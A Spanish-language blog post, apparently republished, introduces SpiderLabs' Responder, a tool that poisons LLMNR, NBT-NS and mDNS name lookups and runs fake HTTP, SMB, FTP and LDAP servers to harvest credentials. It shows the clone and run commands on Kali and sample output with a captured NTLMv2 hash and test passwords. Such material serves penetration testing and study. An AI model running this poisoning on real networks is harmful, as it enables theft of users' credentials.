Responder: despliega servidores falsos en la red para robar contraseñas

Responder de SpiderLabs es una herramienta para la obtención pasiva de credenciales en la red.

Todo está escrito en Python pensando en la portabilidad, por lo que no será necesario instalar ninguna herramienta extra ni añadir ningún módulo adicional.

Lo ejecutas y escucha peticiones NBT-NS (NetBIOS Name Service), LLMNR (Link-local Multicast Name Resolution) y mDNS (multicast Domain Name System) y envenena al emisor. Cuando detecta una petición basada en el nombre del sufijo (ver: http://support.microsoft.com/kb/163409) solicitará y almacenará las credenciales de la víctima.

Responder además viene con varios servidores de autenticación falsos (HTTP/SMB/MSSQL/FTP/LDAP) que soportan NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP y autenticación HTTP básica.

Veámos un poco su facilidad de uso en una máquina virtual con Kali:

Instalación:

root@kali:~# git clone https://github.com/SpiderLabs/Responder.git

root@kali:~# cd Responder/
root@kali:~/Responder# ls
Certs                FixInternet.exe   LDAPPackets.py       Responder.py
CHANGELOG            HTTPCookies       odict.py             SMBPackets.py
Denied.html          HTTPPackets.py    RAPLANMANPackets.py  SMBRelay.py
DHCP.py              HTTPProxy.py      README.md            SMTPPackets.py
Fingerprint.py       Icmp-Redirect.py  RelayPackets.py      SQLPackets.py
FingerprintRelay.py  IMAPPackets.py    Responder.conf

Ejemplo de uso:

root@kali:~/Responder# python Responder.py -i 192.168.142.128 -I eth0 -d SMB -b 0 -r 1 -v
NBT Name Service/LLMNR Responder 2.0.
Please send bugs/comments to: lgaffie@trustwave.com
To kill this script hit CRTL-C

[+]NBT-NS, LLMNR & MDNS responder started
[+]Loading Responder.conf File..
Global Parameters set:
Responder is bound to this interface: eth0
Challenge set: 1122334455667788
WPAD Proxy Server: False
WPAD script loaded:  function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
HTTP Server: ON
HTTPS Server: ON
SMB Server: ON
SMB LM support: False
Kerberos Server: ON
SQL Server: ON
FTP Server: ON
IMAP Server: ON
POP3 Server: ON
SMTP Server: ON
DNS Server: ON
LDAP Server: ON
FingerPrint hosts: False
Serving Executable via HTTP&WPAD: OFF
Always Serving a Specific File via HTTP&WPAD: OFF

Captura de hash SMB-NTLMv2:

LLMNR poisoned answer sent to this IP: 192.168.142.1. The requested name was : servidor1.
[+]WPAD (no auth) file sent to: 192.168.142.1

LLMNR poisoned answer sent to this IP: 192.168.142.1. The requested name was : servidor1.
[+]SMB-NTLMv2 hash captured from :  192.168.142.1
[+]SMB complete hash is : prueba::DOMINIO:1122334455667788:1D863E3C5746398740BBD893B1F7B43B:01010000000000684CF017068466D9E239FD90000002000A0073006D006200310032000100140053004500520056004500520032003000300038000400160073006D006200310032002E006C006F00630061006C0003002C0053004500520056004500520032003000300038002E0073006D006200310032002E0061006C000500160C006F00630061006C000073006D006200310032002E00680030003000000000000000010000000020009E00000C5EC24000A0F2F627F8D95AAB1740E16A2D24BE1C9B0E222697E60D026DBF5C5C006C006F00634C3451030A001000000000000000000000000000000000000900120063006900660073002F006500760061006E000000000000000000

Captura de credenciales FTP:

[[+]FTP User:  test
[+]FTP Password is:  test

Captura de credenciales HTTP/HTTPS:

[+]HTTP-User & Password: test:test
[+]HTTP GET request from : 192.168.142.1. The HTTP URL requested was: /favicon.ico 
[+]HTTP-User & Password: test:test
[+]HTTP GET request from : 192.168.142.1. The HTTP URL requested was: /favicon.ico 
[+]HTTP-User & Password: test:test

[+]HTTPS-User & Password: test:test

Captura LDAP:

[LDAP]Clear Text User & Password is: :

Repositorio en Github: https://github.com/Spiderlabs/Responder

Fuente: http://www.hackplayers.com/2014/06/responder-desplega-servidores-falsos-en-red.html